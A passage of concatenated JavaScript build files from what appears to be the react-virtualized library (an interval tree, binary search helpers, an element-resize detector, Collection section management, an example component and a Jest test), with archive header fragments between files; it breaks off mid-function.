      if (this.leftPoints[l] === interval) {
        this.count -= 1;
        this.leftPoints.splice(l, 1);

        for (var r = bounds.ge(this.rightPoints, interval, compareEnd); r < this.rightPoints.length; ++r) {
          if (this.rightPoints[r][1] !== interval[1]) {
            break;
          } else if (this.rightPoints[r] === interval) {
            this.rightPoints.splice(r, 1);
            return SUCCESS;
          }
        }
      }
    }

    return NOT_FOUND;
  }
};

function reportLeftRange(arr, hi, cb) {
  for (var i = 0; i < arr.length && arr[i][0] <= hi; ++i) {
    var r = cb(arr[i]);

    if (r) {
      return r;
    }
  }
}

function reportRightRange(arr, lo, cb) {
  for (var i = arr.length - 1; i >= 0 && arr[i][1] >= lo; --i) {
    var r = cb(arr[i]);

    if (r) {
      return r;
    }
  }
}

function reportRange(arr, cb) {
  for (var i = 0; i < arr.length; ++i) {
    var r = cb(arr[i]);

    if (r) {
      return r;
    }
  }
}

proto.queryPoint = function (x, cb) {
  if (x < this.mid) {
    if (this.left) {
      var r = this.left.queryPoint(x, cb);

      if (r) {
        return r;
      }
    }

    return reportLeftRange(this.leftPoints, x, cb);
  } else if (x > this.mid) {
    if (this.right) {
      var r = this.right.queryPoint(x, cb);

      if (r) {
        return r;
      }
    }

    return reportRightRange(this.rightPoints, x, cb);
  } else {
    return reportRange(this.leftPoints, cb);
  }
};

proto.queryInterval = function (lo, hi, cb) {
  if (lo < this.mid && this.left) {
    var r = this.left.queryInterval(lo, hi, cb);

    if (r) {
      return r;
    }
  }

  if (hi > this.mid && this.right) {
    var r = this.right.queryInterval(lo, hi, cb);

    if (r) {
      return r;
    }
  }

  if (hi < this.mid) {
    return reportLeftRange(this.leftPoints, hi, cb);
  } else if (lo > this.mid) {
    return reportRightRange(this.rightPoints, lo, cb);
  } else {
    return reportRange(this.leftPoints, cb);
  }
};

function compareNumbers(a, b) {
  return a - b;
}

function compareBegin(a, b) {
  var d = a[0] - b[0];

  if (d) {
    return d;
  }

  return a[1] - b[1];
}

function compareEnd(a, b) {
  var d = a[1] - b[1];

  if (d) {
    return d;
  }

  return a[0] - b[0];
}

function createIntervalTree(intervals) {
  if (intervals.length === 0) {
    return null;
  }

  var pts = [];

  for (var i = 0; i < intervals.length; ++i) {
    pts.push(intervals[i][0], intervals[i][1]);
  }

  pts.sort(compareNumbers);
  var mid = pts[pts.length >> 1];
  var leftIntervals = [];
  var rightIntervals = [];
  var centerIntervals = [];

  for (var i = 0; i < intervals.length; ++i) {
    var s = intervals[i];

    if (s[1] < mid) {
      leftIntervals.push(s);
    } else if (mid < s[0]) {
      rightIntervals.push(s);
    } else {
      centerIntervals.push(s);
    }
  } //Split center intervals


  var leftPoints = centerIntervals;
  var rightPoints = centerIntervals.slice();
  leftPoints.sort(compareBegin);
  rightPoints.sort(compareEnd);
  return new IntervalTreeNode(mid, createIntervalTree(leftIntervals), createIntervalTree(rightIntervals), leftPoints, rightPoints);
} //User friendly wrapper that makes it possible to support empty trees


function IntervalTree(root) {
  this.root = root;
}

var tproto = IntervalTree.prototype;

tproto.insert = function (interval) {
  if (this.root) {
    this.root.insert(interval);
  } else {
    this.root = new IntervalTreeNode(interval[0], null, null, [interval], [interval]);
  }
};

tproto.remove = function (interval) {
  if (this.root) {
    var r = this.root.remove(interval);

    if (r === EMPTY) {
      this.root = null;
    }

    return r !== NOT_FOUND;
  }

  return false;
};

tproto.queryPoint = function (p, cb) {
  if (this.root) {
    return this.root.queryPoint(p, cb);
  }
};

tproto.queryInterval = function (lo, hi, cb) {
  if (lo <= hi && this.root) {
    return this.root.queryInterval(lo, hi, cb);
  }
};

Object.defineProperty(tproto, 'count', {
  get: function get() {
    if (this.root) {
      return this.root.count;
    }

    return 0;
  }
});
Object.defineProperty(tproto, 'intervals', {
  get: function get() {
    if (this.root) {
      return this.root.intervals([]);
    }

    return [];
  }
});
export default function createWrapper(intervals) {
  if (!intervals || intervals.length === 0) {
    return new IntervalTree(null);
  }

  return new IntervalTree(createIntervalTree(intervals));
}es/vendor/binarySearchBounds.js000064400000007666151677406000012620 0ustar00/**
 * Binary Search Bounds
 * https://github.com/mikolalysenko/binary-search-bounds
 * Mikola Lysenko
 *
 * Inlined because of Content Security Policy issue caused by the use of `new Function(...)` syntax.
 * Issue reported here: https://github.com/mikolalysenko/binary-search-bounds/issues/5
 **/
function _GEA(a, l, h, y) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x >= y) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function _GEP(a, l, h, y, c) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) >= 0) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function dispatchBsearchGE(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _GEP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _GEA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _GTA(a, l, h, y) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x > y) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function _GTP(a, l, h, y, c) {
  var i = h + 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) > 0) {
      i = m;
      h = m - 1;
    } else {
      l = m + 1;
    }
  }

  return i;
}

function dispatchBsearchGT(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _GTP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _GTA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _LTA(a, l, h, y) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x < y) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function _LTP(a, l, h, y, c) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) < 0) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function dispatchBsearchLT(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _LTP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _LTA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _LEA(a, l, h, y) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x <= y) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function _LEP(a, l, h, y, c) {
  var i = l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (c(x, y) <= 0) {
      i = m;
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return i;
}

function dispatchBsearchLE(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _LEP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _LEA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

function _EQA(a, l, h, y) {
  l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];

    if (x === y) {
      return m;
    } else if (x <= y) {
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return -1;
}

function _EQP(a, l, h, y, c) {
  l - 1;

  while (l <= h) {
    var m = l + h >>> 1,
        x = a[m];
    var p = c(x, y);

    if (p === 0) {
      return m;
    } else if (p <= 0) {
      l = m + 1;
    } else {
      h = m - 1;
    }
  }

  return -1;
}

function dispatchBsearchEQ(a, y, c, l, h) {
  if (typeof c === 'function') {
    return _EQP(a, l === void 0 ? 0 : l | 0, h === void 0 ? a.length - 1 : h | 0, y, c);
  } else {
    return _EQA(a, c === void 0 ? 0 : c | 0, l === void 0 ? a.length - 1 : l | 0, y);
  }
}

export default {
  ge: dispatchBsearchGE,
  gt: dispatchBsearchGT,
  lt: dispatchBsearchLT,
  le: dispatchBsearchLE,
  eq: dispatchBsearchEQ
};es/vendor/detectElementResize.js000064400000020201151677406000012753 0ustar00/**
 * Detect Element Resize.
 * https://github.com/sdecima/javascript-detect-element-resize
 * Sebastian Decima
 *
 * Forked from version 0.5.3; includes the following modifications:
 * 1) Guard against unsafe 'window' and 'document' references (to support SSR).
 * 2) Defer initialization code via a top-level function wrapper (to support SSR).
 * 3) Avoid unnecessary reflows by not measuring size for scroll events bubbling from children.
 * 4) Add nonce for style element.
 * 5) Added support for injecting custom window object
 **/
export default function createDetectElementResize(nonce, hostWindow) {
  // Check `document` and `window` in case of server-side rendering
  var _window;

  if (typeof hostWindow !== 'undefined') {
    _window = hostWindow;
  } else if (typeof window !== 'undefined') {
    _window = window;
  } else if (typeof self !== 'undefined') {
    _window = self;
  } else {
    _window = global;
  }

  var attachEvent = typeof _window.document !== 'undefined' && _window.document.attachEvent;

  if (!attachEvent) {
    var requestFrame = function () {
      var raf = _window.requestAnimationFrame || _window.mozRequestAnimationFrame || _window.webkitRequestAnimationFrame || function (fn) {
        return _window.setTimeout(fn, 20);
      };

      return function (fn) {
        return raf(fn);
      };
    }();

    var cancelFrame = function () {
      var cancel = _window.cancelAnimationFrame || _window.mozCancelAnimationFrame || _window.webkitCancelAnimationFrame || _window.clearTimeout;
      return function (id) {
        return cancel(id);
      };
    }();

    var resetTriggers = function resetTriggers(element) {
      var triggers = element.__resizeTriggers__,
          expand = triggers.firstElementChild,
          contract = triggers.lastElementChild,
          expandChild = expand.firstElementChild;
      contract.scrollLeft = contract.scrollWidth;
      contract.scrollTop = contract.scrollHeight;
      expandChild.style.width = expand.offsetWidth + 1 + 'px';
      expandChild.style.height = expand.offsetHeight + 1 + 'px';
      expand.scrollLeft = expand.scrollWidth;
      expand.scrollTop = expand.scrollHeight;
    };

    var checkTriggers = function checkTriggers(element) {
      return element.offsetWidth != element.__resizeLast__.width || element.offsetHeight != element.__resizeLast__.height;
    };

    var scrollListener = function scrollListener(e) {
      // Don't measure (which forces) reflow for scrolls that happen inside of children!
      if (e.target.className && typeof e.target.className.indexOf === 'function' && e.target.className.indexOf('contract-trigger') < 0 && e.target.className.indexOf('expand-trigger') < 0) {
        return;
      }

      var element = this;
      resetTriggers(this);

      if (this.__resizeRAF__) {
        cancelFrame(this.__resizeRAF__);
      }

      this.__resizeRAF__ = requestFrame(function () {
        if (checkTriggers(element)) {
          element.__resizeLast__.width = element.offsetWidth;
          element.__resizeLast__.height = element.offsetHeight;

          element.__resizeListeners__.forEach(function (fn) {
            fn.call(element, e);
          });
        }
      });
    };
    /* Detect CSS Animations support to detect element display/re-attach */


    var animation = false,
        keyframeprefix = '',
        animationstartevent = 'animationstart',
        domPrefixes = 'Webkit Moz O ms'.split(' '),
        startEvents = 'webkitAnimationStart animationstart oAnimationStart MSAnimationStart'.split(' '),
        pfx = '';
    {
      var elm = _window.document.createElement('fakeelement');

      if (elm.style.animationName !== undefined) {
        animation = true;
      }

      if (animation === false) {
        for (var i = 0; i < domPrefixes.length; i++) {
          if (elm.style[domPrefixes[i] + 'AnimationName'] !== undefined) {
            pfx = domPrefixes[i];
            keyframeprefix = '-' + pfx.toLowerCase() + '-';
            animationstartevent = startEvents[i];
            animation = true;
            break;
          }
        }
      }
    }
    var animationName = 'resizeanim';
    var animationKeyframes = '@' + keyframeprefix + 'keyframes ' + animationName + ' { from { opacity: 0; } to { opacity: 0; } } ';
    var animationStyle = keyframeprefix + 'animation: 1ms ' + animationName + '; ';
  }

  var createStyles = function createStyles(doc) {
    if (!doc.getElementById('detectElementResize')) {
      //opacity:0 works around a chrome bug https://code.google.com/p/chromium/issues/detail?id=286360
      var css = (animationKeyframes ? animationKeyframes : '') + '.resize-triggers { ' + (animationStyle ? animationStyle : '') + 'visibility: hidden; opacity: 0; } ' + '.resize-triggers, .resize-triggers > div, .contract-trigger:before { content: " "; display: block; position: absolute; top: 0; left: 0; height: 100%; width: 100%; overflow: hidden; z-index: -1; } .resize-triggers > div { background: #eee; overflow: auto; } .contract-trigger:before { width: 200%; height: 200%; }',
          head = doc.head || doc.getElementsByTagName('head')[0],
          style = doc.createElement('style');
      style.id = 'detectElementResize';
      style.type = 'text/css';

      if (nonce != null) {
        style.setAttribute('nonce', nonce);
      }

      if (style.styleSheet) {
        style.styleSheet.cssText = css;
      } else {
        style.appendChild(doc.createTextNode(css));
      }

      head.appendChild(style);
    }
  };

  var addResizeListener = function addResizeListener(element, fn) {
    if (attachEvent) {
      element.attachEvent('onresize', fn);
    } else {
      if (!element.__resizeTriggers__) {
        var doc = element.ownerDocument;

        var elementStyle = _window.getComputedStyle(element);

        if (elementStyle && elementStyle.position == 'static') {
          element.style.position = 'relative';
        }

        createStyles(doc);
        element.__resizeLast__ = {};
        element.__resizeListeners__ = [];
        (element.__resizeTriggers__ = doc.createElement('div')).className = 'resize-triggers';
        var resizeTriggersHtml = '<div class="expand-trigger"><div></div></div>' + '<div class="contract-trigger"></div>';

        if (window.trustedTypes) {
          var staticPolicy = trustedTypes.createPolicy('react-virtualized-auto-sizer', {
            createHTML: function createHTML() {
              return resizeTriggersHtml;
            }
          });
          element.__resizeTriggers__.innerHTML = staticPolicy.createHTML('');
        } else {
          element.__resizeTriggers__.innerHTML = resizeTriggersHtml;
        }

        element.appendChild(element.__resizeTriggers__);
        resetTriggers(element);
        element.addEventListener('scroll', scrollListener, true);
        /* Listen for a css animation to detect element display/re-attach */

        if (animationstartevent) {
          element.__resizeTriggers__.__animationListener__ = function animationListener(e) {
            if (e.animationName == animationName) {
              resetTriggers(element);
            }
          };

          element.__resizeTriggers__.addEventListener(animationstartevent, element.__resizeTriggers__.__animationListener__);
        }
      }

      element.__resizeListeners__.push(fn);
    }
  };

  var removeResizeListener = function removeResizeListener(element, fn) {
    if (attachEvent) {
      element.detachEvent('onresize', fn);
    } else {
      element.__resizeListeners__.splice(element.__resizeListeners__.indexOf(fn), 1);

      if (!element.__resizeListeners__.length) {
        element.removeEventListener('scroll', scrollListener, true);

        if (element.__resizeTriggers__.__animationListener__) {
          element.__resizeTriggers__.removeEventListener(animationstartevent, element.__resizeTriggers__.__animationListener__);

          element.__resizeTriggers__.__animationListener__ = null;
        }

        try {
          element.__resizeTriggers__ = !element.removeChild(element.__resizeTriggers__);
        } catch (e) {// Preact compat; see developit/preact-compat/issues/228
        }
      }
    }
  };

  return {
    addResizeListener: addResizeListener,
    removeResizeListener: removeResizeListener
  };
}es/Collection/Section.js000064400000003111151677406000011212 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";

/**
 * A section of the Window.
 * Window Sections are used to group nearby cells.
 * This enables us to more quickly determine which cells to display in a given region of the Window.
 * Sections have a fixed size and contain 0 to many cells (tracked by their indices).
 */
var Section =
/*#__PURE__*/
function () {
  function Section(_ref) {
    var height = _ref.height,
        width = _ref.width,
        x = _ref.x,
        y = _ref.y;

    _classCallCheck(this, Section);

    this.height = height;
    this.width = width;
    this.x = x;
    this.y = y;
    this._indexMap = {};
    this._indices = [];
  }
  /** Add a cell to this section. */


  _createClass(Section, [{
    key: "addCellIndex",
    value: function addCellIndex(_ref2) {
      var index = _ref2.index;

      if (!this._indexMap[index]) {
        this._indexMap[index] = true;

        this._indices.push(index);
      }
    }
    /** Get all cell indices that have been added to this section. */

  }, {
    key: "getCellIndices",
    value: function getCellIndices() {
      return this._indices;
    }
    /** Intended for debugger/test purposes only */

  }, {
    key: "toString",
    value: function toString() {
      return "".concat(this.x, ",").concat(this.y, " ").concat(this.width, "x").concat(this.height);
    }
  }]);

  return Section;
}();

export { Section as default };
import { bpfrpt_proptype_Index } from "./types";
import { bpfrpt_proptype_SizeAndPositionInfo } from "./types";es/Collection/types.js000064400000002115151677406000010755 0ustar00var bpfrpt_proptype_Index = process.env.NODE_ENV === 'production' ? null : {
  "index": PropTypes.number.isRequired
};
var bpfrpt_proptype_PositionInfo = process.env.NODE_ENV === 'production' ? null : {
  "x": PropTypes.number.isRequired,
  "y": PropTypes.number.isRequired
};
var bpfrpt_proptype_ScrollPosition = process.env.NODE_ENV === 'production' ? null : {
  "scrollLeft": PropTypes.number.isRequired,
  "scrollTop": PropTypes.number.isRequired
};
var bpfrpt_proptype_SizeAndPositionInfo = process.env.NODE_ENV === 'production' ? null : {
  "height": PropTypes.number.isRequired,
  "width": PropTypes.number.isRequired,
  "x": PropTypes.number.isRequired,
  "y": PropTypes.number.isRequired
};
var bpfrpt_proptype_SizeInfo = process.env.NODE_ENV === 'production' ? null : {
  "height": PropTypes.number.isRequired,
  "width": PropTypes.number.isRequired
};
import PropTypes from "prop-types";
export { bpfrpt_proptype_Index };
export { bpfrpt_proptype_PositionInfo };
export { bpfrpt_proptype_ScrollPosition };
export { bpfrpt_proptype_SizeAndPositionInfo };
export { bpfrpt_proptype_SizeInfo };es/Collection/SectionManager.js000064400000010050151677406000012505 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";

/**
 * Window Sections are used to group nearby cells.
 * This enables us to more quickly determine which cells to display in a given region of the Window.
 * 
 */
import Section from './Section';
var SECTION_SIZE = 100;

/**
 * Contains 0 to many Sections.
 * Grows (and adds Sections) dynamically as cells are registered.
 * Automatically adds cells to the appropriate Section(s).
 */
var SectionManager =
/*#__PURE__*/
function () {
  function SectionManager() {
    var sectionSize = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : SECTION_SIZE;

    _classCallCheck(this, SectionManager);

    this._sectionSize = sectionSize;
    this._cellMetadata = [];
    this._sections = {};
  }
  /**
   * Gets all cell indices contained in the specified region.
   * A region may encompass 1 or more Sections.
   */


  _createClass(SectionManager, [{
    key: "getCellIndices",
    value: function getCellIndices(_ref) {
      var height = _ref.height,
          width = _ref.width,
          x = _ref.x,
          y = _ref.y;
      var indices = {};
      this.getSections({
        height: height,
        width: width,
        x: x,
        y: y
      }).forEach(function (section) {
        return section.getCellIndices().forEach(function (index) {
          indices[index] = index;
        });
      }); // Object keys are strings; this function returns numbers

      return Object.keys(indices).map(function (index) {
        return indices[index];
      });
    }
    /** Get size and position information for the cell specified. */

  }, {
    key: "getCellMetadata",
    value: function getCellMetadata(_ref2) {
      var index = _ref2.index;
      return this._cellMetadata[index];
    }
    /** Get all Sections overlapping the specified region. */

  }, {
    key: "getSections",
    value: function getSections(_ref3) {
      var height = _ref3.height,
          width = _ref3.width,
          x = _ref3.x,
          y = _ref3.y;
      var sectionXStart = Math.floor(x / this._sectionSize);
      var sectionXStop = Math.floor((x + width - 1) / this._sectionSize);
      var sectionYStart = Math.floor(y / this._sectionSize);
      var sectionYStop = Math.floor((y + height - 1) / this._sectionSize);
      var sections = [];

      for (var sectionX = sectionXStart; sectionX <= sectionXStop; sectionX++) {
        for (var sectionY = sectionYStart; sectionY <= sectionYStop; sectionY++) {
          var key = "".concat(sectionX, ".").concat(sectionY);

          if (!this._sections[key]) {
            this._sections[key] = new Section({
              height: this._sectionSize,
              width: this._sectionSize,
              x: sectionX * this._sectionSize,
              y: sectionY * this._sectionSize
            });
          }

          sections.push(this._sections[key]);
        }
      }

      return sections;
    }
    /** Total number of Sections based on the currently registered cells. */

  }, {
    key: "getTotalSectionCount",
    value: function getTotalSectionCount() {
      return Object.keys(this._sections).length;
    }
    /** Intended for debugger/test purposes only */

  }, {
    key: "toString",
    value: function toString() {
      var _this = this;

      return Object.keys(this._sections).map(function (index) {
        return _this._sections[index].toString();
      });
    }
    /** Adds a cell to the appropriate Sections and registers it metadata for later retrievable. */

  }, {
    key: "registerCell",
    value: function registerCell(_ref4) {
      var cellMetadatum = _ref4.cellMetadatum,
          index = _ref4.index;
      this._cellMetadata[index] = cellMetadatum;
      this.getSections(cellMetadatum).forEach(function (section) {
        return section.addCellIndex({
          index: index
        });
      });
    }
  }]);

  return SectionManager;
}();

export { SectionManager as default };
import { bpfrpt_proptype_Index } from "./types";
import { bpfrpt_proptype_SizeAndPositionInfo } from "./types";es/Collection/Collection.example.js000064400000021704151677406000013343 0ustar00import _classCallCheck from "@babel/runtime/helpers/classCallCheck";
import _createClass from "@babel/runtime/helpers/createClass";
import _possibleConstructorReturn from "@babel/runtime/helpers/possibleConstructorReturn";
import _getPrototypeOf from "@babel/runtime/helpers/getPrototypeOf";
import _assertThisInitialized from "@babel/runtime/helpers/assertThisInitialized";
import _inherits from "@babel/runtime/helpers/inherits";
import _defineProperty from "@babel/runtime/helpers/defineProperty";
import PropTypes from 'prop-types';
import * as React from 'react';
import Immutable from 'immutable';
import { ContentBox, ContentBoxHeader, ContentBoxParagraph } from '../demo/ContentBox';
import { LabeledInput, InputRow } from '../demo/LabeledInput';
import AutoSizer from '../AutoSizer';
import Collection from './Collection';
import styles from './Collection.example.css'; // Defines a pattern of sizes and positions for a range of 10 rotating cells
// These cells cover an area of 600 (wide) x 400 (tall)

var GUTTER_SIZE = 3;
var CELL_WIDTH = 75;

var CollectionExample =
/*#__PURE__*/
function (_React$PureComponent) {
  _inherits(CollectionExample, _React$PureComponent);

  function CollectionExample(props, context) {
    var _this;

    _classCallCheck(this, CollectionExample);

    _this = _possibleConstructorReturn(this, _getPrototypeOf(CollectionExample).call(this, props, context));
    _this.state = {
      cellCount: context.list.size,
      columnCount: _this._getColumnCount(context.list.size),
      height: 300,
      horizontalOverscanSize: 0,
      scrollToCell: undefined,
      showScrollingPlaceholder: false,
      verticalOverscanSize: 0
    };
    _this._columnYMap = [];
    _this._cellRenderer = _this._cellRenderer.bind(_assertThisInitialized(_this));
    _this._cellSizeAndPositionGetter = _this._cellSizeAndPositionGetter.bind(_assertThisInitialized(_this));
    _this._noContentRenderer = _this._noContentRenderer.bind(_assertThisInitialized(_this));
    _this._onCellCountChange = _this._onCellCountChange.bind(_assertThisInitialized(_this));
    _this._onHeightChange = _this._onHeightChange.bind(_assertThisInitialized(_this));
    _this._onHorizontalOverscanSizeChange = _this._onHorizontalOverscanSizeChange.bind(_assertThisInitialized(_this));
    _this._onScrollToCellChange = _this._onScrollToCellChange.bind(_assertThisInitialized(_this));
    _this._onVerticalOverscanSizeChange = _this._onVerticalOverscanSizeChange.bind(_assertThisInitialized(_this));
    return _this;
  }

  _createClass(CollectionExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          cellCount = _this$state.cellCount,
          height = _this$state.height,
          horizontalOverscanSize = _this$state.horizontalOverscanSize,
          scrollToCell = _this$state.scrollToCell,
          showScrollingPlaceholder = _this$state.showScrollingPlaceholder,
          verticalOverscanSize = _this$state.verticalOverscanSize;
      return React.createElement(ContentBox, null, React.createElement(ContentBoxHeader, {
        text: "Collection",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Collection/Collection.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Collection.md"
      }), React.createElement(ContentBoxParagraph, null, "Renders scattered or non-linear data. Unlike ", React.createElement("code", null, "Grid"), ", which renders checkerboard data, ", React.createElement("code", null, "Collection"), " can render arbitrarily positioned- even overlapping- data."), React.createElement(ContentBoxParagraph, null, React.createElement("label", {
        className: styles.checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Show placeholder while scrolling?",
        checked: showScrollingPlaceholder,
        className: styles.checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            showScrollingPlaceholder: event.target.checked
          });
        }
      }), "Show placeholder while scrolling?")), React.createElement(InputRow, null, React.createElement(LabeledInput, {
        label: "Num cells",
        name: "cellCount",
        onChange: this._onCellCountChange,
        value: cellCount
      }), React.createElement(LabeledInput, {
        label: "Scroll to cell",
        name: "onScrollToCell",
        placeholder: "Index...",
        onChange: this._onScrollToCellChange,
        value: scrollToCell || ''
      }), React.createElement(LabeledInput, {
        label: "Height",
        name: "height",
        onChange: this._onHeightChange,
        value: height
      }), React.createElement(LabeledInput, {
        label: "Horizontal Overscan",
        name: "horizontalOverscanSize",
        onChange: this._onHorizontalOverscanSizeChange,
        value: horizontalOverscanSize
      }), React.createElement(LabeledInput, {
        label: "Vertical Overscan",
        name: "verticalOverscanSize",
        onChange: this._onVerticalOverscanSizeChange,
        value: verticalOverscanSize
      })), React.createElement(AutoSizer, {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(Collection, {
          cellCount: cellCount,
          cellRenderer: _this2._cellRenderer,
          cellSizeAndPositionGetter: _this2._cellSizeAndPositionGetter,
          className: styles.collection,
          height: height,
          horizontalOverscanSize: horizontalOverscanSize,
          noContentRenderer: _this2._noContentRenderer,
          scrollToCell: scrollToCell,
          verticalOverscanSize: verticalOverscanSize,
          width: width
        });
      }));
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref2) {
      var index = _ref2.index,
          isScrolling = _ref2.isScrolling,
          key = _ref2.key,
          style = _ref2.style;
      var list = this.context.list;
      var showScrollingPlaceholder = this.state.showScrollingPlaceholder;
      var datum = list.get(index % list.size); // Customize style

      style.backgroundColor = datum.color;
      return React.createElement("div", {
        className: styles.cell,
        key: key,
        style: style
      }, showScrollingPlaceholder && isScrolling ? '...' : index);
    }
  }, {
    key: "_cellSizeAndPositionGetter",
    value: function _cellSizeAndPositionGetter(_ref3) {
      var index = _ref3.index;
      var list = this.context.list;
      var columnCount = this.state.columnCount;
      var columnPosition = index % (columnCount || 1);
      var datum = list.get(index % list.size); // Poor man's Masonry layout; columns won't all line up equally with the bottom.

      var height = datum.size;
      var width = CELL_WIDTH;
      var x = columnPosition * (GUTTER_SIZE + width);
      var y = this._columnYMap[columnPosition] || 0;
      this._columnYMap[columnPosition] = y + height + GUTTER_SIZE;
      return {
        height: height,
        width: width,
        x: x,
        y: y
      };
    }
  }, {
    key: "_getColumnCount",
    value: function _getColumnCount(cellCount) {
      return Math.round(Math.sqrt(cellCount));
    }
  }, {
    key: "_onHorizontalOverscanSizeChange",
    value: function _onHorizontalOverscanSizeChange(event) {
      var horizontalOverscanSize = parseInt(event.target.value, 10) || 0;
      this.setState({
        horizontalOverscanSize: horizontalOverscanSize
      });
    }
  }, {
    key: "_noContentRenderer",
    value: function _noContentRenderer() {
      return React.createElement("div", {
        className: styles.noCells
      }, "No cells");
    }
  }, {
    key: "_onCellCountChange",
    value: function _onCellCountChange(event) {
      var cellCount = parseInt(event.target.value, 10) || 0;
      this._columnYMap = [];
      this.setState({
        cellCount: cellCount,
        columnCount: this._getColumnCount(cellCount)
      });
    }
  }, {
    key: "_onHeightChange",
    value: function _onHeightChange(event) {
      var height = parseInt(event.target.value, 10) || 0;
      this.setState({
        height: height
      });
    }
  }, {
    key: "_onScrollToCellChange",
    value: function _onScrollToCellChange(event) {
      var cellCount = this.state.cellCount;
      var scrollToCell = Math.min(cellCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToCell)) {
        scrollToCell = undefined;
      }

      this.setState({
        scrollToCell: scrollToCell
      });
    }
  }, {
    key: "_onVerticalOverscanSizeChange",
    value: function _onVerticalOverscanSizeChange(event) {
      var verticalOverscanSize = parseInt(event.target.value, 10) || 0;
      this.setState({
        verticalOverscanSize: verticalOverscanSize
      });
    }
  }]);

  return CollectionExample;
}(React.PureComponent);

_defineProperty(CollectionExample, "contextTypes", {
  list: PropTypes.instanceOf(Immutable.List).isRequired
});

export { CollectionExample as default };es/Collection/Section.jest.js000064400000003062151677406000012163 0ustar00import Section from './Section';
describe('Section', function () {
  function helper() {
    var _ref = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref$height = _ref.height,
        height = _ref$height === void 0 ? 100 : _ref$height,
        _ref$width = _ref.width,
        width = _ref$width === void 0 ? 200 : _ref$width,
        _ref$x = _ref.x,
        x = _ref$x === void 0 ? 0 : _ref$x,
        _ref$y = _ref.y,
        y = _ref$y === void 0 ? 0 : _ref$y;

    return new Section({
      height: height,
      width: width,
      x: x,
      y: y
    });
  }

  it('should add a new cell index', function () {
    var section = helper();
    expect(section.getCellIndices()).toEqual([]);
    section.addCellIndex({
      index: 0
    });
    expect(section.getCellIndices()).toEqual([0]);
    section.addCellIndex({
      index: 1
    });
    expect(section.getCellIndices()).toEqual([0, 1]);
  });
  it('should not add a duplicate cell index', function () {
    var section = helper();
    section.addCellIndex({
      index: 0
    });
    section.addCellIndex({
      index: 1
    });
    section.addCellIndex({
      index: 0
    });
    section.addCellIndex({
      index: 1
    });
    section.addCellIndex({
      index: 2
    });
    expect(section.getCellIndices()).toEqual([0, 1, 2]);
  });
  it('should define a working toString() method for debugging', function () {
    var section = helper({
      height: 100,
      width: 200,
      x: 25,
      y: 50
    });
    expect(section.toString()).toEqual('25,50 200x100');
  });
});es/Collection/utils/calculateSizeAndPositionData.js000064400000002534151677406000016510 0ustar00import SectionManager from '../SectionManager';
export default function calculateSizeAndPositionData(_ref) {
  var cellCount = _ref.cellCount,
      cellSizeAndPositionGetter = _ref.cellSizeAndPositionGetter,
      sectionSize = _ref.sectionSize;
  var cellMetadata = [];
  var sectionManager = new SectionManager(sectionSize);
  var height = 0;
  var width = 0;

  for (var index = 0; index < cellCount; index++) {
    var cellMetadatum = cellSizeAndPositionGetter({
      index: index
    });

    if (cellMetadatum.height == null || isNaN(cellMetadatum.height) || cellMetadatum.width == null || isNaN(cellMetadatum.width) || cellMetadatum.x == null || isNaN(cellMetadatum.x) || cellMetadatum.y == null || isNaN(cellMetadatum.y)) {
